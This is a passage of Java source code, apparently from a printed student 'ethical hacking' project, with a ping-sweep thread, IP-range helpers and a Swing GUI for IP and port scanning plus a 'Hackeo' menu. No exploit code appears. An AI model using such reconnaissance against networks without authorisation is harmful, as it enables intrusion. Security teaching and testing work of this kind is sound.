numerik_parcalar[3]++; for(byte i = 3; i > 0; i--) if(numerik_parcalar[i] > 255) { numerik_parcalar[i] -= 256; numerik_parcalar[i - 1]++; } if(numerik_parcalar[0] > 255) numerik_parcalar[0] = 0; return numerik_parcalar[0] + "." + numerik_parcalar[1] + "." + numerik_parcalar[2] + "." + numerik_parcalar[3]; } public static String increase_IP(String ip_address, int Step) { short numerik_parcalar[] = parseIP(ip_address); for(int j = 0; j++ < Step;)
204
{ numerik_parcalar[3]++; for(byte i = 3; i > 0; i--) if(numerik_parcalar[i] > 255) { numerik_parcalar[i] -= 256; numerik_parcalar[i - 1]++; } if(numerik_parcalar[0] > 255) numerik_parcalar[0] = 0; } return numerik_parcalar[0] + "." + numerik_parcalar[1] + "." + numerik_parcalar[2] + "." + numerik_parcalar[3]; } public static boolean check_equality(String adres_1, String adres_2) { short parcalar_1[] = parseIP(adres_1); short parcalar_2[] = parseIP(adres_2); for(byte i = 0; i < 4; i++) if(parcalar_1[i] != parcalar_2[i]) return false; return true; } public static String find_greater_address(String address_1, String address_2) { if(check_equality(address_1, address_2)) return address_1; if(check_greater(address_1, address_2)) return address_1; else return address_2; } public static String find_lesser_address(String address_1, String address_2) { if(check_equality(address_1, address_2)) return address_1; if(check_lesser(address_1, address_2)) return address_1; else return address_2; } private static short[] parseIP(String ip_address) { String parcalar[] = ip_address.split("\\."); if(parcalar.length != 4) return null; short ipAdr[] = new short[4]; for(byte i = 0; i < parcalar.length; i++)
205
ipAdr[i] = Short.parseShort(parcalar[i]); return ipAdr; } private static String or_addresses(String address_1, String address_2) { short adres_parcalari_1[] = parseIP(address_1); short adres_parcalari_2[] = parseIP(address_2); for(byte i = 0; i < 4; i++) adres_parcalari_1[i] |= adres_parcalari_2[i]; return adres_parcalari_1[0] + "." + adres_parcalari_1[1] + "." + adres_parcalari_1[2] + "." + adres_parcalari_1[3]; } private static String not_address(String address) { short numerik_parcalar[] = parseIP(address); for(byte i = 0; i < 4; i++) numerik_parcalar[i] = (short)(255 - numerik_parcalar[i]); return numerik_parcalar[0] + "." + numerik_parcalar[1] + "." + numerik_parcalar[2] + "." + numerik_parcalar[3]; } private static boolean check_lesser(String address_1, String address_2) { long ip_value_1 = 0L; long ip_value_2 = 0L; short ip_1[] = parseIP(address_1); short ip_2[] = parseIP(address_2); for(byte i = 0; i < 4; i++) { ip_value_1 += (long)((double)ip_1[i] * Math.pow(256D, 3 - i)); ip_value_2 += (long)((double)ip_2[i] * Math.pow(256D, 3 - i)); } return ip_value_1 < ip_value_2; } private static boolean check_greater(String address_1, String address_2) { long ip_value_1 = 0L; long ip_value_2 = 0L; short ip_1[] = parseIP(address_1); short ip_2[] = parseIP(address_2); for(byte i = 0; i < 4; i++) { ip_value_1 += (long)((double)ip_1[i] * Math.pow(256D, 3 - i)); ip_value_2 += (long)((double)ip_2[i] * Math.pow(256D, 3 - i)); } return ip_value_1 > ip_value_2; } }
206
ping_thread.java
public class PingThread extends Thread { public PingThread(String ip_range_begin, String ip_range_end, StringBuffer total_result) { local_result = new StringBuffer(); cadena_ip_buffer = new StringBuffer(); this.goal=goal; this.ips=ips; this.ip_range_beginning = ip_range_begin.trim(); this.ip_range_end = ip_range_end.trim(); this.total_result = total_result; } public PingThread(){ } public void run() { String temp_beginning = ip_range_beginning; while(!BasicIPTools.check_equality(ip_range_beginning, ip_range_end)) if(ip_range_beginning.endsWith(".0") || ip_range_beginning.endsWith("255")) { ip_range_beginning = BasicIPTools.increase_IP(ip_range_beginning); } else { try { if(Pinger.windows_ping(ip_range_beginning)) { local_result.append(ip_range_beginning + "\t\tACTIVA!\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"ACTIVA!!"+'\n'; ips=ips+ip_range_beginning+'\n'; }else{ local_result.append(ip_range_beginning + "\t\tinactiva\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"inactiva"+'\n'; } } catch(Exception exception) { } ip_range_beginning = BasicIPTools.increase_IP(ip_range_beginning); } try { if(Pinger.windows_ping(ip_range_beginning))
207
{ local_result.append(ip_range_beginning + "\t\tACTIVA!\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"ACTIVA!!"+'\n'; ips=ips+ip_range_beginning+'\n'; }else{ local_result.append(ip_range_beginning + "\t\tinactiva\n"); } goal =goal + ip_range_beginning + '\t'+'\t'+"inactiva"+'\n'; } catch(Exception exception1) { } if(local_result.toString() != null) local_result.append("\n"); total_result.append(temp_beginning + " - " + ip_range_end + " Escaneando dentro de este rango\n" + local_result); goal= goal + '\n'; goal = goal + temp_beginning + " - " + ip_range_end + " Escaneando dentro de este rango"+'\n' + local_result.toString(); } public String get_resultado(){ return goal; } public String get_ips() { return ips; } public void print(){ System.out.println(""+cadena_ip+""); } public static void main(String arg[]) { PingThread a[] = new PingThread[5]; } static String a; private String ip_range_beginning; private String ip_range_end; static String cadena_ip; static String ips=""; static String goal=""; static StringBuffer total_result; static StringBuffer cadena_ip_buffer; private StringBuffer local_result; }
pantalla_scan.java
import java.net.*; import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane;
208
public class pantalla_scan extends javax.swing.JFrame{ public pantalla_scan() { initComponents(); clock = new Reloj(reloj); time = new Fecha(fecha); clock.start(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); jLabel6 = new javax.swing.JLabel(); reloj = new javax.swing.JLabel(); fecha = new javax.swing.JLabel(); botonscanIP = new javax.swing.JButton(); botonhackeo = new javax.swing.JButton(); botonscanPUERTOS = new javax.swing.JButton(); jLabel2 = new javax.swing.JLabel(); jPanel1 = new javax.swing.JPanel(); jPanel2 = new javax.swing.JPanel(); jLabel3 = new javax.swing.JLabel(); jScrollPane4 = new javax.swing.JScrollPane(); tabla_scan_puertos = new javax.swing.JTable(); jScrollPane3 = new javax.swing.JScrollPane(); tabla_scan_ip = new javax.swing.JTable(); boton_limpiar = new javax.swing.JButton(); boton_retorno_principla = new javax.swing.JButton(); boton_guardar_log = new javax.swing.JButton(); jScrollPane1 = new javax.swing.JScrollPane(); texto_scan_ip = new javax.swing.JEditorPane(); jLabel4 = new javax.swing.JLabel(); jScrollPane2 = new javax.swing.JScrollPane(); texto_scan_puertos = new javax.swing.JEditorPane(); jLabel7 = new javax.swing.JLabel(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu(); reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem();
209
salir = new javax.swing.JMenu(); salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("PANTALLA DE SCAN DE IP Y PUERTOS"); setBackground(new java.awt.Color(0, 0, 51)); setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR)); jLabel1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led escaneo IP puertos.GIF")); jLabel5.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\bannner_rotulo2.GIF")); jLabel6.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\banner_rotulo_1.GIF")); reloj.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\BorraAlu.gif")); reloj.setToolTipText("hora"); fecha.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\BorraAlu.gif")); fecha.setToolTipText("fecha"); botonscanIP.setFont(new java.awt.Font("Arial", 0, 10)); botonscanIP.setForeground(new java.awt.Color(0, 102, 102)); botonscanIP.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); botonscanIP.setText("Scan IP"); botonscanIP.setToolTipText("scan"); botonscanIP.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonscanIPActionPerformed(evt); } }); botonhackeo.setFont(new java.awt.Font("Arial", 0, 10)); botonhackeo.setForeground(new java.awt.Color(0, 102, 102)); botonhackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); botonhackeo.setText("Hackeo"); botonhackeo.setToolTipText("Hackeo"); botonhackeo.setEnabled(false); botonhackeo.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonhackeoActionPerformed(evt); } }); botonscanPUERTOS.setFont(new java.awt.Font("Arial", 0, 10)); botonscanPUERTOS.setForeground(new java.awt.Color(0, 102, 102)); botonscanPUERTOS.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); botonscanPUERTOS.setText("Scan Puertos"); botonscanPUERTOS.setToolTipText("scan"); botonscanPUERTOS.setEnabled(false);
210
botonscanPUERTOS.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonscanPUERTOSActionPerformed(evt); } }); jLabel2.setFont(new java.awt.Font("Arial", 1, 12)); jLabel2.setText("Resultados de Scan IP"); jPanel1.setBorder(javax.swing.BorderFactory.createMatteBorder(1, 1, 1, 1, new java.awt.Color(153, 153, 153))); org.jdesktop.layout.GroupLayout jPanel1Layout = new org.jdesktop.layout.GroupLayout(jPanel1); jPanel1.setLayout(jPanel1Layout); jPanel1Layout.setHorizontalGroup( jPanel1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(0, 0, Short.MAX_VALUE) ); jPanel1Layout.setVerticalGroup( jPanel1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(0, 0, Short.MAX_VALUE) ); org.jdesktop.layout.GroupLayout jPanel2Layout = new org.jdesktop.layout.GroupLayout(jPanel2); jPanel2.setLayout(jPanel2Layout); jPanel2Layout.setHorizontalGroup( jPanel2Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(0, 340, Short.MAX_VALUE) ); jPanel2Layout.setVerticalGroup( jPanel2Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(0, 224, Short.MAX_VALUE) ); jLabel3.setFont(new java.awt.Font("Arial", 1, 12)); jLabel3.setText("Resultados de Scan Puertos"); tabla_scan_puertos.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED, new java.awt.Color(153, 153, 153), new java.awt.Color(102, 102, 255), new java.awt.Color(153, 153, 153), new java.awt.Color(153, 153, 255))); tabla_scan_puertos.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { }, new String [] { "Puerto", "Nombre_servicio", "Estado" } ) { Class[] types = new Class [] { java.lang.String.class, java.lang.String.class, java.lang.String.class }; boolean[] canEdit = new boolean [] {
211
false, false, false }; public Class getColumnClass(int columnIndex) { return types [columnIndex]; } public boolean isCellEditable(int rowIndex, int columnIndex) { return canEdit [columnIndex]; } }); jScrollPane4.setViewportView(tabla_scan_puertos); tabla_scan_ip.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED, new java.awt.Color(0, 153, 153), new java.awt.Color(51, 102, 255), new java.awt.Color(51, 204, 255), new java.awt.Color(0, 102, 255))); tabla_scan_ip.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { }, new String [] { "Ip_maquina", "Nombre", " Estado" } ) { Class[] types = new Class [] { java.lang.String.class, java.lang.String.class, java.lang.String.class }; boolean[] canEdit = new boolean [] { false, false, false }; public Class getColumnClass(int columnIndex) { return types [columnIndex]; } public boolean isCellEditable(int rowIndex, int columnIndex) { return canEdit [columnIndex]; } }); tabla_scan_ip.addMouseListener(new java.awt.event.MouseAdapter() { public void mouseClicked(java.awt.event.MouseEvent evt) { al_presionar(evt); } }); jScrollPane3.setViewportView(tabla_scan_ip); boton_limpiar.setFont(new java.awt.Font("Arial", 0, 10)); boton_limpiar.setForeground(new java.awt.Color(0, 102, 102)); boton_limpiar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cross1.gif")); boton_limpiar.setText("Limpiar"); boton_limpiar.setToolTipText("Limpiar"); boton_limpiar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) {
212
boton_limpiarActionPerformed(evt); } }); boton_retorno_principla.setFont(new java.awt.Font("Arial", 0, 10)); boton_retorno_principla.setForeground(new java.awt.Color(0, 102, 102)); boton_retorno_principla.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/open.gif")); boton_retorno_principla.setText("Retorno Principal"); boton_retorno_principla.setToolTipText("return"); boton_retorno_principla.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_retorno_principlaActionPerformed(evt); } }); boton_guardar_log.setFont(new java.awt.Font("Arial", 0, 10)); boton_guardar_log.setForeground(new java.awt.Color(0, 102, 102)); boton_guardar_log.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); boton_guardar_log.setText("Guardar Log"); boton_guardar_log.setToolTipText("Log"); boton_guardar_log.setEnabled(false); boton_guardar_log.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_guardar_logActionPerformed(evt); } }); texto_scan_ip.setEditable(false); texto_scan_ip.setFont(new java.awt.Font("Arial", 0, 11)); jScrollPane1.setViewportView(texto_scan_ip); jLabel4.setFont(new java.awt.Font("Arial", 0, 11)); jLabel4.setForeground(new java.awt.Color(0, 102, 102)); jLabel4.setText("Scaneo de IP eventos"); texto_scan_puertos.setFont(new java.awt.Font("Arial", 0, 11)); jScrollPane2.setViewportView(texto_scan_puertos); jLabel7.setFont(new java.awt.Font("Arial", 0, 11)); jLabel7.setForeground(new java.awt.Color(0, 102, 102)); jLabel7.setText("Scaneo de Puertos eventos"); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas"); scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema"); scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() {
213
public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setEnabled(false); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); } }); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes"); reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setEnabled(false); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10));
214
reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setEnabled(false); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF")); ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de_menu.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { acerca_de_menuActionPerformed(evt); } }); acerca_de.add(acerca_de_menu);
215
jMenuBar1.add(acerca_de); salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salida.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { salidaActionPerformed(evt); } }); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jPanel2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(280, 280, 280)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(jScrollPane4, 0, 0, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, jLabel2) .add(org.jdesktop.layout.GroupLayout.LEADING, layout.createSequentialGroup() .add(boton_limpiar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 77, Short.MAX_VALUE) .add(botonhackeo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 151, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(org.jdesktop.layout.GroupLayout.LEADING,
216
layout.createSequentialGroup() .add(botonscanIP, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 114, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 125, Short.MAX_VALUE) .add(botonscanPUERTOS)) .add(org.jdesktop.layout.GroupLayout.LEADING, jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 361, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(org.jdesktop.layout.GroupLayout.LEADING, jLabel4) .add(org.jdesktop.layout.GroupLayout.LEADING, jLabel7)) .add(42, 42, 42) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel5, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 190, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(fecha)) .add(12, 12, 12)) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING, false) .add(layout.createSequentialGroup() .add(0, 0, 0) .add(boton_retorno_principla) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_guardar_log, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 112, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(org.jdesktop.layout.GroupLayout.LEADING, jScrollPane1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 272, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, jScrollPane2)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED))))) .add(0, 0, 0) .add(jPanel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addContainerGap()) .add(layout.createSequentialGroup() .addContainerGap() .add(reloj, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 111, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)
217
.add(774, 774, 774)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel6, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 165, Short.MAX_VALUE) .add(503, 503, 503)) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel3) .addContainerGap(714, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(191, 191, 191) .add(jLabel1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(392, 392, 392)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jPanel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel2) .add(jLabel4)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 134, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(botonscanIP, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 40, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonscanPUERTOS, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .add(jScrollPane1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 181, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))
218
.addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(5, 5, 5) .add(jLabel3)) .add(layout.createSequentialGroup() .add(6, 6, 6) .add(jLabel7))) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(jScrollPane2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 139, Short.MAX_VALUE) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 139, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)))) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_limpiar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 40, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(boton_retorno_principla, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(boton_guardar_log, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonhackeo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel5, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 25, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel6)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(reloj) .add(fecha)) .add(1353, 1353, 1353) .add(jPanel2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-678)/2, (screenSize.height-551)/2, 678, 551); }// </editor-fold>
219
private void al_presionar(java.awt.event.MouseEvent evt) { número_columna=tabla_scan_ip.getSelectedColumn(); número_fila=tabla_scan_ip.getSelectedRow(); host=(String)tabla_scan_ip.getValueAt(número_fila,número_columna); System.out.println("columna-->"+número_columna+"--fila--"+número_fila+"----host--"+host); try{ if (host == null || host =="" || host.equals("ACTIVA")) { Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","REALIZE UNA SELECCION DE CELDA VALIDA","PRESIONANDO EN LA COLUMNA IP O NOMBRE PARA PODER ESCANEAR LOS PUERTOS","VUELVALO A INTENTAR...GRACIAS"); botonscanPUERTOS.setEnabled(false); }else{ botonscanPUERTOS.setEnabled(true); } }catch(Exception e){ Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","REALIZE UNA SELECCION DE CELDA VALIDA","PRESIONANDO EN LA COLUMNA IP O NOMBRE PARA PODER ESCANEAR LOS PUERTOS","VUELVALO A INTENTAR...GRACIAS"); } } private void salidaActionPerformed(java.awt.event.ActionEvent evt) { salir kk = new salir(); kk.show(); } private void acerca_de_menuActionPerformed(java.awt.event.ActionEvent evt) { creditos ss = new creditos(); ss.show(); } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void análisis_clavesActionPerformed(java.awt.event.ActionEvent evt) { } private void hacking_eticoActionPerformed(java.awt.event.ActionEvent evt) { hackeo hack = new hackeo(host); hack.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); }
220
